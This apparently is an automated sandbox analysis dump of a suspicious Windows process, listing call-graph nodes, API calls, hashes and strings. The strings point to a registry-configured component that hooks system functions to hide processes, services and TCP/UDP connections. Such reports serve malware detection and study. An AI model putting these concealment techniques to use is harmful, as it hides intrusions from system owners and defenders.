15002->15007 15005 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15004->15005 15005->14984 15007->14996 15007->15002 15009 1bcd1c62fd1 15008->15009 15034 1bcd1c630cc 15008->15034 15010 1bcd1c62feb 15009->15010 15011 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15009->15011 15012 1bcd1c62ffd 15010->15012 15013 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15010->15013 15011->15010 15014 1bcd1c6300f 15012->15014 15015 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15012->15015 15013->15012 15016 1bcd1c63021 15014->15016 15017 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15014->15017 15015->15014 15018 1bcd1c63033 15016->15018 15019 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15016->15019 15017->15016 15020 1bcd1c63045 15018->15020 15021 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15018->15021 15019->15018 15022 1bcd1c63057 15020->15022 15023 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15020->15023 15021->15020 15024 1bcd1c63069 15022->15024 15025 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15022->15025 15023->15022 15026 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15024->15026 15028 1bcd1c6307b 15024->15028 15025->15024 15026->15028 15027 1bcd1c6308d 15030 1bcd1c630a2 15027->15030 15031 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15027->15031 15028->15027 15029 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15028->15029 15029->15027 15032 1bcd1c630b7 15030->15032 15033 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15030->15033 15031->15030 15032->15034 15035 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15032->15035 15033->15032 15034->14990 15035->15034 15037 1bcd1c630d9 15036->15037 15045 1bcd1c6313a 15036->15045 15038 1bcd1c630f2 15037->15038 15039 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15037->15039 15040 1bcd1c63104 15038->15040 15041 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15038->15041 15039->15038 15042 1bcd1c63116 15040->15042 15043 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15040->15043 15041->15040 15044 1bcd1c63128 15042->15044 15046 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15042->15046 15043->15042 15044->15045 15047 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15044->15047 15045->14991 15046->15044 15047->15045 15049 1bcd1c60985 15048->15049 15050 1bcd1c60959 15048->15050 15049->15007 15050->15049 15054 1bcd1c63174 15050->15054 15053 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15053->15049 15055 1bcd1c6317d 15054->15055 15056 1bcd1c6097d 15054->15056 15090 1bcd1c63140 15055->15090 15056->15053 15059 1bcd1c63140 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15060 1bcd1c631a6 15059->15060 15061 1bcd1c63140 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15060->15061 15062 1bcd1c631b4 15061->15062 15063 1bcd1c63140 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15062->15063 15064 1bcd1c631c2 15063->15064 15065 1bcd1c63140 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15064->15065 15066 1bcd1c631d1 15065->15066 15067 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15066->15067 15068 1bcd1c631dd 15067->15068 15069 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15068->15069 15070 1bcd1c631e9 15069->15070 15071 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15070->15071 15072 1bcd1c631f5 15071->15072 15073 1bcd1c63140 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15072->15073 15074 1bcd1c63203 15073->15074 15075 1bcd1c63140 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15074->15075 15076 1bcd1c63211 15075->15076 15077 1bcd1c63140 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15076->15077 15078 1bcd1c6321f 15077->15078 15079 1bcd1c63140 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15078->15079 15080 1bcd1c6322d 15079->15080 15081 1bcd1c63140 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15080->15081 15082 1bcd1c6323c 15081->15082 15083 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15082->15083 15084 1bcd1c63248 15083->15084 15085 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15084->15085 15086 1bcd1c63254 15085->15086 15087 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15086->15087 15088 1bcd1c63260 15087->15088 15089 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15088->15089 15089->15056 15091 1bcd1c63167 15090->15091 15093 1bcd1c63156 15090->15093 15091->15059 15092 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15092->15093 15093->15091 15093->15092 15095 1bcd1c5d433 15094->15095 15102 1bcd1c5d4a4 15095->15102 15097 1bcd1c5d45a 15098 1bcd1c5d47d 15097->15098 15108 1bcd1c5c7a0 15097->15108 15100 1bcd1c5d492 15098->15100 15101 1bcd1c5c7a0 _invalid_parameter_noinfo 19 API calls 15098->15101 15100->14918 15101->15100 15119 1bcd1c5d1ec 15102->15119 15104 1bcd1c5d4df 15104->15097 15105 1bcd1c5d4ce _invalid_parameter_noinfo 15105->15104 15106 1bcd1c5d408 _invalid_parameter_noinfo 19 API calls 15105->15106 15107 1bcd1c5d589 15106->15107 15107->15097 15109 1bcd1c5c7f8 15108->15109 15110 1bcd1c5c7af Concurrency::details::SchedulerProxy::DeleteThis 15108->15110 15109->15098 15111 1bcd1c5d068 _invalid_parameter_noinfo 9 API calls 15110->15111 15112 1bcd1c5c7de _invalid_parameter_noinfo 15111->15112 15112->15109 15113 1bcd1c5c7a0 _invalid_parameter_noinfo 19 API calls 15112->15113 15114 1bcd1c5c827 15113->15114 15137 1bcd1c60430 15114->15137 15120 1bcd1c5d233 _invalid_parameter_noinfo 15119->15120 15121 1bcd1c5d208 Concurrency::details::SchedulerProxy::DeleteThis 15119->15121 15120->15105 15123 1bcd1c5d068 15121->15123 15124 1bcd1c5d09c 15123->15124 15125 1bcd1c5d087 FlsGetValue 15123->15125 15126 1bcd1c5d094 15124->15126 15127 1bcd1c5d6cc _invalid_parameter_noinfo 6 API calls 15124->15127 15125->15124 15125->15126 15126->15120 15128 1bcd1c5d0be 15127->15128 15129 1bcd1c5d0dc FlsSetValue 15128->15129 15132 1bcd1c5d0cc 15128->15132 15130 1bcd1c5d0fa 15129->15130 15131 1bcd1c5d0e8 FlsSetValue 15129->15131 15133 1bcd1c5cb94 _invalid_parameter_noinfo 6 API calls 15130->15133 15131->15132 15135 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15132->15135 15134 1bcd1c5d102 15133->15134 15136 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15134->15136 15135->15126 15136->15126 15138 1bcd1c5c84f 15137->15138 15139 1bcd1c60449 15137->15139 15141 1bcd1c6049c 15138->15141 15139->15138 15145 1bcd1c60a5c 15139->15145 15142 1bcd1c5c85f 15141->15142 15143 1bcd1c604b5 15141->15143 15142->15098 15143->15142 15189 1bcd1c5ecf0 15143->15189 15150 1bcd1c5ce28 15145->15150 15147 1bcd1c60a6b 15149 1bcd1c60aa4 15147->15149 15185 1bcd1c60acc 15147->15185 15149->15138 15151 1bcd1c5ce3d Concurrency::details::SchedulerProxy::DeleteThis 15150->15151 15152 1bcd1c5ce4c FlsGetValue 15151->15152 15153 1bcd1c5ce69 FlsSetValue 15151->15153 15155 1bcd1c5ce63 15152->15155 15166 1bcd1c5ce59 _invalid_parameter_noinfo 15152->15166 15154 1bcd1c5ce7b 15153->15154 15153->15166 15156 1bcd1c5d6cc _invalid_parameter_noinfo 6 API calls 15154->15156 15155->15153 15157 1bcd1c5ce8a 15156->15157 15158 1bcd1c5cea8 FlsSetValue 15157->15158 15159 1bcd1c5ce98 FlsSetValue 15157->15159 15162 1bcd1c5cec6 15158->15162 15163 1bcd1c5ceb4 FlsSetValue 15158->15163 15161 1bcd1c5cea1 15159->15161 15160 1bcd1c5cee2 15160->15147 15164 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15161->15164 15165 1bcd1c5cb94 _invalid_parameter_noinfo 6 API calls 15162->15165 15163->15161 15164->15166 15167 1bcd1c5cece 15165->15167 15166->15160 15169 1bcd1c5cf0d FlsGetValue 15166->15169 15170 1bcd1c5cf28 FlsSetValue 15166->15170 15168 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15167->15168 15168->15166 15171 1bcd1c5cf22 15169->15171 15174 1bcd1c5cf1a 15169->15174 15172 1bcd1c5cf35 15170->15172 15170->15174 15171->15170 15173 1bcd1c5d6cc _invalid_parameter_noinfo 6 API calls 15172->15173 15175 1bcd1c5cf44 15173->15175 15174->15147 15176 1bcd1c5cf62 FlsSetValue 15175->15176 15177 1bcd1c5cf52 FlsSetValue 15175->15177 15179 1bcd1c5cf80 15176->15179 15180 1bcd1c5cf6e FlsSetValue 15176->15180 15178 1bcd1c5cf5b 15177->15178 15181 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15178->15181 15182 1bcd1c5cb94 _invalid_parameter_noinfo 6 API calls 15179->15182 15180->15178 15181->15174 15183 1bcd1c5cf88 15182->15183 15184 1bcd1c5d744 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15183->15184 15184->15174 15186 1bcd1c60aeb 15185->15186 15187 1bcd1c60ade Concurrency::details::SchedulerProxy::DeleteThis 15185->15187 15186->15149 15187->15186 15188 1bcd1c607b4 Concurrency::details::SchedulerProxy::DeleteThis 6 API calls 15187->15188 15188->15186 15190 1bcd1c5ce28 _invalid_parameter_noinfo 16 API calls 15189->15190 15191 1bcd1c5ecf9 15190->15191 15197 1bcd1c5f394 15192->15197 15195 1bcd1c5f661 InitializeCriticalSectionAndSpinCount 15196 1bcd1c5f647 15195->15196 15196->14938 15198 1bcd1c5f3f1 15197->15198 15199 1bcd1c5f3ec Concurrency::details::SchedulerProxy::DeleteThis __vcrt_InitializeCriticalSectionEx 15197->15199 15198->15195 15198->15196 15199->15198 15200 1bcd1c5f421 LoadLibraryExW 15199->15200 15201 1bcd1c5f516 GetProcAddress 15199->15201 15204 1bcd1c5f480 LoadLibraryExW 15199->15204 15200->15199 15202 1bcd1c5f4f6 15200->15202 15201->15198 15202->15201 15203 1bcd1c5f50d FreeLibrary 15202->15203 15203->15201 15204->15199 15204->15202 15205 1bcd1a4273c 15206 1bcd1a4276a 15205->15206 15207 1bcd1a427c5 VirtualAlloc 15206->15207 15210 1bcd1a428d4 15206->15210 15209 1bcd1a427ec 15207->15209 15207->15210 15208 1bcd1a42858 LoadLibraryA 15208->15209 15209->15208 15209->15210 15211 1bcd1c5554d 15213 1bcd1c55554 15211->15213 15212 1bcd1c555bb 15213->15212 15214 1bcd1c55637 VirtualProtect 15213->15214 15215 1bcd1c55671 15214->15215 15216 1bcd1c55663 GetLastError 15214->15216 15216->15215 15217 1bcd1c51abc 15222 1bcd1c51628 GetProcessHeap HeapAlloc 15217->15222 15219 1bcd1c51ad2 Sleep SleepEx 15220 1bcd1c51acb 15219->15220 15220->15219 15221 1bcd1c51598 StrCmpIW StrCmpW 15220->15221 15221->15220 15266 1bcd1c51268 GetProcessHeap HeapAlloc GetProcessHeap HeapAlloc 15222->15266 15224 1bcd1c51650 15267 1bcd1c51268 GetProcessHeap HeapAlloc GetProcessHeap HeapAlloc 15224->15267 15226 1bcd1c51661 15268 1bcd1c51268 GetProcessHeap HeapAlloc GetProcessHeap HeapAlloc 15226->15268 15228 1bcd1c5166a 15269 1bcd1c51268 GetProcessHeap HeapAlloc GetProcessHeap HeapAlloc 15228->15269 15230 1bcd1c51673 15231 1bcd1c5168e RegOpenKeyExW 15230->15231 15232 1bcd1c516c0 RegOpenKeyExW 15231->15232 15233 1bcd1c518a6 15231->15233 15234 1bcd1c516ff RegOpenKeyExW 15232->15234 15235 1bcd1c516e9 15232->15235 15233->15220 15237 1bcd1c51723 15234->15237 15238 1bcd1c5173a RegOpenKeyExW 15234->15238 15276 1bcd1c512bc RegQueryInfoKeyW 15235->15276 15270 1bcd1c5104c RegQueryInfoKeyW 15237->15270 15241 1bcd1c5175e 15238->15241 15242 1bcd1c51775 RegOpenKeyExW 15238->15242 15246 1bcd1c512bc 16 API calls 15241->15246 15243 1bcd1c517b0 RegOpenKeyExW 15242->15243 15244 1bcd1c51799 15242->15244 15249 1bcd1c517eb RegOpenKeyExW 15243->15249 15250 1bcd1c517d4 15243->15250 15248 1bcd1c512bc 16 API calls 15244->15248 15247 1bcd1c5176b RegCloseKey 15246->15247 15247->15242 15251 1bcd1c517a6 RegCloseKey 15248->15251 15253 1bcd1c5180f 15249->15253 15254 1bcd1c51826 RegOpenKeyExW 15249->15254 15252 1bcd1c512bc 16 API calls 15250->15252 15251->15243 15255 1bcd1c517e1 RegCloseKey 15252->15255 15256 1bcd1c5104c 6 API calls 15253->15256 15257 1bcd1c51861 RegOpenKeyExW 15254->15257 15258 1bcd1c5184a 15254->15258 15255->15249 15261 1bcd1c5181c RegCloseKey 15256->15261 15259 1bcd1c5189c RegCloseKey 15257->15259 15260 1bcd1c51885 15257->15260 15262 1bcd1c5104c 6 API calls 15258->15262 15259->15233 15264 1bcd1c5104c 6 API calls 15260->15264 15261->15254 15263 1bcd1c51857 RegCloseKey 15262->15263 15263->15257 15265 1bcd1c51892 RegCloseKey 15264->15265 15265->15259 15266->15224 15267->15226 15268->15228 15269->15230 15271 1bcd1c510bf 15270->15271 15272 1bcd1c511b5 RegCloseKey 15270->15272 15271->15272 15273 1bcd1c510cf RegEnumValueW 15271->15273 15272->15238 15274 1bcd1c51125 15273->15274 15274->15272 15274->15273 15275 1bcd1c5114e GetProcessHeap HeapAlloc GetProcessHeap HeapFree 15274->15275 15275->15274 15277 1bcd1c5148a RegCloseKey 15276->15277 15278 1bcd1c51327 GetProcessHeap HeapAlloc 15276->15278 15277->15234 15279 1bcd1c51352 RegEnumValueW 15278->15279 15280 1bcd1c51476 GetProcessHeap HeapFree 15278->15280 15281 1bcd1c513a5 15279->15281 15280->15277 15281->15279 15281->15280 15283 1bcd1c513d3 GetProcessHeap HeapAlloc GetProcessHeap HeapFree 15281->15283 15284 1bcd1c5141e lstrlenW GetProcessHeap HeapAlloc StrCpyW 15281->15284 15285 1bcd1c5152c 15281->15285 15283->15284 15284->15281 15288 1bcd1c5157c 15285->15288 15289 1bcd1c51546 15285->15289 15286 1bcd1c5155d StrCmpIW 15286->15289 15287 1bcd1c51565 StrCmpW 15287->15289 15288->15281 15289->15286 15289->15287 15289->15288 15290 1bcd1c52b2c 15292 1bcd1c52b9d 15290->15292 15291 1bcd1c52ee0 15292->15291 15293 1bcd1c52bc9 GetModuleHandleA 15292->15293 15294 1bcd1c52bed 15293->15294 15295 1bcd1c52bdb GetProcAddress 15293->15295 15294->15291 15296 1bcd1c52c14 StrCmpNIW 15294->15296 15295->15294 15296->15291 15297 1bcd1c52c39 15296->15297 15297->15291 15298 1bcd1c5199c 6 API calls 15297->15298 15299 1bcd1c52d4b lstrlenW 15297->15299 15300 1bcd1c52e05 lstrlenW 15297->15300 15301 1bcd1c53844 StrCmpNIW 15297->15301 15302 1bcd1c5152c StrCmpIW StrCmpW 15297->15302 15298->15297 15299->15297 15300->15297 15301->15297 15302->15297 15303 1bcd1c5d6cc 15308 1bcd1c5d6dd _invalid_parameter_noinfo 15303->15308 15304 1bcd1c5d72e 15307 1bcd1c5d6ac Concurrency::details::SchedulerProxy::DeleteThis 5 API calls 15304->15307 15305 1bcd1c5d712 HeapAlloc 15306 1bcd1c5d72c 15305->15306 15305->15308 15307->15306 15308->15304 15308->15305 15309 1bcd1c53ab9 15310 1bcd1c53a06 15309->15310 15311 1bcd1c53a56 VirtualQuery 15310->15311 15312 1bcd1c53a70 15310->15312 15313 1bcd1c53a8a VirtualAlloc 15310->15313 15311->15310 15311->15312 15313->15312 15314 1bcd1c53abb GetLastError 15313->15314 15314->15310 15315 1bcd1c528c8 15317 1bcd1c5290e 15315->15317 15316 1bcd1c52970 15317->15316 15319 1bcd1c53844 15317->15319 15320 1bcd1c53851 StrCmpNIW 15319->15320 15321 1bcd1c53866 15319->15321 15320->15321 15321->15317

                                            Executed Functions

                                            Function 000001BCD1C52B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 51 1bcd1c52b2c-1bcd1c52b97 call 1bcd1c72ce0 53 1bcd1c52b9d-1bcd1c52ba5 51->53 54 1bcd1c52ee0-1bcd1c52f03 53->54 55 1bcd1c52bab-1bcd1c52bb1 53->55 55->54 56 1bcd1c52bb7-1bcd1c52bba 55->56 56->54 57 1bcd1c52bc0-1bcd1c52bc3 56->57 57->54 58 1bcd1c52bc9-1bcd1c52bd9 GetModuleHandleA 57->58 59 1bcd1c52bed 58->59 60 1bcd1c52bdb-1bcd1c52beb GetProcAddress 58->60 61 1bcd1c52bf0-1bcd1c52c0e 59->61 60->61 61->54 63 1bcd1c52c14-1bcd1c52c33 StrCmpNIW 61->63 63->54 64 1bcd1c52c39-1bcd1c52c3d 63->64 64->54 65 1bcd1c52c43-1bcd1c52c4d 64->65 65->54 66 1bcd1c52c53-1bcd1c52c5a 65->66 66->54 67 1bcd1c52c60-1bcd1c52c73 66->67 68 1bcd1c52c83 67->68 69 1bcd1c52c75-1bcd1c52c81 67->69 70 1bcd1c52c86-1bcd1c52c8a 68->70 69->70 71 1bcd1c52c8c-1bcd1c52c98 70->71 72 1bcd1c52c9a 70->72 73 1bcd1c52c9d-1bcd1c52ca7 71->73 72->73 74 1bcd1c52d9d-1bcd1c52da1 73->74 75 1bcd1c52cad-1bcd1c52cb0 73->75 76 1bcd1c52ed2-1bcd1c52eda 74->76 77 1bcd1c52da7-1bcd1c52daa 74->77 78 1bcd1c52cc2-1bcd1c52ccc 75->78 79 1bcd1c52cb2-1bcd1c52cbf call 1bcd1c5199c 75->79 76->54 76->67 80 1bcd1c52dac-1bcd1c52db8 call 1bcd1c5199c 77->80 81 1bcd1c52dbb-1bcd1c52dc5 77->81 83 1bcd1c52d00-1bcd1c52d0a 78->83 84 1bcd1c52cce-1bcd1c52cdb 78->84 79->78 80->81 88 1bcd1c52df5-1bcd1c52df8 81->88 89 1bcd1c52dc7-1bcd1c52dd4 81->89 85 1bcd1c52d0c-1bcd1c52d19 83->85 86 1bcd1c52d3a-1bcd1c52d3d 83->86 84->83 91 1bcd1c52cdd-1bcd1c52cea 84->91 85->86 92 1bcd1c52d1b-1bcd1c52d28 85->92 93 1bcd1c52d3f-1bcd1c52d49 call 1bcd1c51bbc 86->93 94 1bcd1c52d4b-1bcd1c52d58 lstrlenW 86->94 97 1bcd1c52dfa-1bcd1c52e03 call 1bcd1c51bbc 88->97 98 1bcd1c52e05-1bcd1c52e12 lstrlenW 88->98 89->88 96 1bcd1c52dd6-1bcd1c52de3 89->96 99 1bcd1c52ced-1bcd1c52cf3 91->99 104 1bcd1c52d2b-1bcd1c52d31 92->104 93->94 100 1bcd1c52d93-1bcd1c52d98 93->100 106 1bcd1c52d7b-1bcd1c52d8d call 1bcd1c53844 94->106 107 1bcd1c52d5a-1bcd1c52d64 94->107 108 1bcd1c52de6-1bcd1c52dec 96->108 97->98 119 1bcd1c52e4a-1bcd1c52e55 97->119 102 1bcd1c52e35-1bcd1c52e3f call 1bcd1c53844 98->102 103 1bcd1c52e14-1bcd1c52e1e 98->103 99->100 101 1bcd1c52cf9-1bcd1c52cfe 99->101 112 1bcd1c52e42-1bcd1c52e44 100->112 101->83 101->99 102->112 103->102 113 1bcd1c52e20-1bcd1c52e33 call 1bcd1c5152c 103->113 104->100 114 1bcd1c52d33-1bcd1c52d38 104->114 106->100 106->112 107->106 117 1bcd1c52d66-1bcd1c52d79 call 1bcd1c5152c 107->117 118 1bcd1c52dee-1bcd1c52df3 108->118 108->119 112->76 112->119 113->102 113->119 114->86 114->104 117->100 117->106 118->88 118->108 123 1bcd1c52ecc-1bcd1c52ed0 119->123 124 1bcd1c52e57-1bcd1c52e5b 119->124 123->76 127 1bcd1c52e63-1bcd1c52e7d call 1bcd1c585c0 124->127 128 1bcd1c52e5d-1bcd1c52e61 124->128 130 1bcd1c52e80-1bcd1c52e83 127->130 128->127 128->130 132 1bcd1c52e85-1bcd1c52ea3 call 1bcd1c585c0 130->132 133 1bcd1c52ea6-1bcd1c52ea9 130->133 132->133 133->123 136 1bcd1c52eab-1bcd1c52ec9 call 1bcd1c585c0 133->136 136->123
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
                                            • String ID: NtQueryObject$\Device\Nsi$ntdll.dll
                                            • API String ID: 2119608203-3850299575
                                            • Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
                                            • Instruction ID: d05a333c982ba5fba3f97a043a40714a25d828f198d9ab4ed3c54d8747d491cb
                                            • Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
                                            • Instruction Fuzzy Hash: 3AB1577A210A9082FB698FA7D4407E97BE5FBC4B85F845026EE8953B94EB74C840C7C0
                                            Function 000001BCD1C51628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
                                            • String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
                                            • API String ID: 106492572-2879589442
                                            • Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                            • Instruction ID: 01ac2c5092134dd36096d5d295ad76fba24dd1a466cb41b18abb95811e5f58e3
                                            • Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                            • Instruction Fuzzy Hash: ED71C67A310A1186EB109FA7E89469937B4FBC4B88F801131DA8E57B69EF38C444C7C4
                                            Function 000001BCD1C53790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: CurrentProcessProtectVirtual$HandleModule
                                            • String ID: wr
                                            • API String ID: 1092925422-2678910430
                                            • Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                            • Instruction ID: 90d3a28f007a741cfcb336b6dcc52933a31de7d0d37ccf4c6b343569d7c401b3
                                            • Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                            • Instruction Fuzzy Hash: 6711153A704B5182FB149FA3E4082A976A0FBC8B85F840439DEC9077A4EF2DC505C784
                                            Function 000001BCD1C55B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 146 1bcd1c55b30-1bcd1c55b57 147 1bcd1c55b59-1bcd1c55b68 146->147 148 1bcd1c55b6b-1bcd1c55b76 GetCurrentThreadId 146->148 147->148 149 1bcd1c55b82-1bcd1c55b89 148->149 150 1bcd1c55b78-1bcd1c55b7d 148->150 152 1bcd1c55b9b-1bcd1c55baf 149->152 153 1bcd1c55b8b-1bcd1c55b96 call 1bcd1c55960 149->153 151 1bcd1c55faf-1bcd1c55fc6 call 1bcd1c57940 150->151 154 1bcd1c55bbe-1bcd1c55bc4 152->154 153->151 158 1bcd1c55bca-1bcd1c55bd3 154->158 159 1bcd1c55c95-1bcd1c55cb6 154->159 162 1bcd1c55c1a-1bcd1c55c8d call 1bcd1c54510 call 1bcd1c544b0 call 1bcd1c54470 158->162 163 1bcd1c55bd5-1bcd1c55c18 call 1bcd1c585c0 158->163 164 1bcd1c55cbc-1bcd1c55cdc GetThreadContext 159->164 165 1bcd1c55e1f-1bcd1c55e30 call 1bcd1c574bf 159->165 175 1bcd1c55c90 162->175 163->175 168 1bcd1c55ce2-1bcd1c55d03 164->168 169 1bcd1c55e1a 164->169 178 1bcd1c55e35-1bcd1c55e3b 165->178 168->169 177 1bcd1c55d09-1bcd1c55d12 168->177 169->165 175->154 181 1bcd1c55d92-1bcd1c55da3 177->181 182 1bcd1c55d14-1bcd1c55d25 177->182 183 1bcd1c55e41-1bcd1c55e98 VirtualProtect FlushInstructionCache 178->183 184 1bcd1c55efe-1bcd1c55f0e 178->184 192 1bcd1c55e15 181->192 193 1bcd1c55da5-1bcd1c55dc3 181->193 188 1bcd1c55d8d 182->188 189 1bcd1c55d27-1bcd1c55d3c 182->189 190 1bcd1c55ec9-1bcd1c55ef9 call 1bcd1c578ac 183->190 191 1bcd1c55e9a-1bcd1c55ea4 183->191 186 1bcd1c55f10-1bcd1c55f17 184->186 187 1bcd1c55f1e-1bcd1c55f2a call 1bcd1c54df0 184->187 186->187 195 1bcd1c55f19 call 1bcd1c543e0 186->195 207 1bcd1c55f2f-1bcd1c55f35 187->207 188->192 189->188 197 1bcd1c55d3e-1bcd1c55d88 call 1bcd1c53970 SetThreadContext 189->197 190->178 191->190 198 1bcd1c55ea6-1bcd1c55ec1 call 1bcd1c54390 191->198 193->192 199 1bcd1c55dc5-1bcd1c55e10 call 1bcd1c53900 call 1bcd1c574dd 193->199 195->187 197->188 198->190 199->192 212 1bcd1c55f77-1bcd1c55f95 207->212 213 1bcd1c55f37-1bcd1c55f75 ResumeThread call 1bcd1c578ac 207->213 215 1bcd1c55fa9 212->215 216 1bcd1c55f97-1bcd1c55fa6 212->216 213->207 215->151 216->215
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000021.00000002.1900153222.000001BCD1C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001BCD1C50000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_33_2_1bcd1c50000_sc.jbxd
                                            Similarity
                                            • API ID: Thread$Current$Context
                                            • String ID:
                                            • API String ID: 1666949209-0
                                            • Opcode ID: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
                                            • Instruction ID: 6066c0b7d61f9d60e1fb712472e23cb5fc6b4c2d72e6d37ea41e167f286e5204
                                            • Opcode Fuzzy Hash: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
                                            • Instruction Fuzzy Hash: 7BD19E7A214B8881EA709F47E49539A7BA0F3C8B94F904126EACD47B65DF7CC551CB80
                                            Function 000001BCD1C550D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
